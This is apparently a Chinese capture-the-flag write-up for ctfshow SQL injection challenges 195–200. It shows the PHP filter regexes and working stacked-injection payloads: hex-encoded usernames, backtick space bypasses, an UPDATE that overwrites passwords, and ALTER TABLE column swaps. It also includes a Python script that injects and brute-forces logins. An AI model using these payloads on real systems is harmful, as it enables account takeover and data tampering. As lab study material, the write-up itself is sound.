ctfshow sql 195-200

195 堆叠注入 十六进制

ctfshow sql 195-200_第1张图片

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

可以看到`没被过滤,select 空格 被过滤了,可以大致估计用堆叠注入

空格用`来绕过

很久没做堆叠了

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

当登录密码正确的时候就可以得到flag,所以现在要更新密码

先在本地测试一下堆叠注入

update`表`set`字段`=密码

select count(*) from users where name='DuZZ';update`users`set`password`=0x313131;

ctfshow sql 195-200_第2张图片

 可以发现所有密码都被改成了111

ctfshow sql 195-200_第3张图片

admin;update`ctfshow_user`set`pass`=111;

但是查询失败了

ctfshow sql 195-200_第4张图片

我们再看一下查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

因为username没有被单引号包裹

ctfshow sql 195-200_第5张图片

就像这个没有被包裹会报错一下 ,就不是字符串

ctfshow sql 195-200_第6张图片

我们转换成十六进制试一下

发现用十六进制就不用单引号了

ctfshow sql 195-200_第7张图片

同理我们把admin转换成十六进制

发现可以登录成功了

ctfshow sql 195-200_第8张图片

196 select

ctfshow sql 195-200_第9张图片

过滤语句

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

 还有条件

 if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

看到别人wp说

其实select没有被过滤

那我们可以使用select,先在本地测试一下

select * from users;select(9);

ctfshow sql 195-200_第10张图片

那我们就可以把这个9作为密码,然后再在密码输入9,就可以登录成功

ctfshow sql 195-200_第11张图片

197 select tables

同理的

ctfshow sql 195-200_第12张图片

看过滤语句,这里用户名长度没有限制了

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

这里核心就是跟上一题一样

select(1)

那么我们只要password为1 就可以成功查询

那么这里同理

我们如果show tables

然后password就是表名ctfshow_user

那么就会成功

ctfshow sql 195-200_第13张图片

198 alter转变字段

ctfshow sql 195-200_第14张图片

  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

用上一题的也能打通

ctfshow sql 195-200_第15张图片

还有一种方法,通过转变字段实现

我们先在本机操作一下

看下我们本来自己创建的表

ctfshow sql 195-200_第16张图片

现在使用alter命令,把password字段变成a字段

    alter table users change column `password` `a` varchar(255)

ctfshow sql 195-200_第17张图片

然后我们把id字段改为password字段

alter table users change column `id` `password` varchar(255)

ctfshow sql 195-200_第18张图片

我们再把a字段改为id字段

alter table users change column `a` `id` varchar(255)

 ctfshow sql 195-200_第19张图片

这样我们最终就实现了id与password字段的交换

那么回到题目

我们需要有username和password就可以实现登录

然后我们现在知道username,那么需要知道password

如果实现password与id字段交换,然后我们只需要知道password的id字段

而id字段肯定就是数字,那么可以通过爆破来实现

import requests
url="http://9ecb1c54-5708-48b9-9f05-f0fde09cf80b.challenge.ctf.show/api/"

for i in range(1000):
    if i==0:
        payload={
            'username': "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255);",
            'password':i
        }
        r=requests.post(url=url,data=payload)
    data = {
        'username': '0x61646d696e',
        'password': i
    }
    re=requests.post(url=url,data=data)
    #print(re.text)
    if r"登陆成功" in re.json()['msg']:
        print(re.json()['msg'])
        break

199 text绕过varchar(200)

ctfshow sql 195-200_第20张图片

这里括号被过滤了

之前的payload还可以

ctfshow sql 195-200_第21张图片

括号被过滤,可以用text代替

0;alter table ctfshow_user change `username` `a` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `a` `pass` text;

然后 username = 0 passwd = userAUTO

200

ctfshow sql 195-200_第22张图片

多了一点过滤没什么影响

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

之前的payload还是能打通

ctfshow sql 195-200_第23张图片

你可能感兴趣的:(sql,数据库,前端)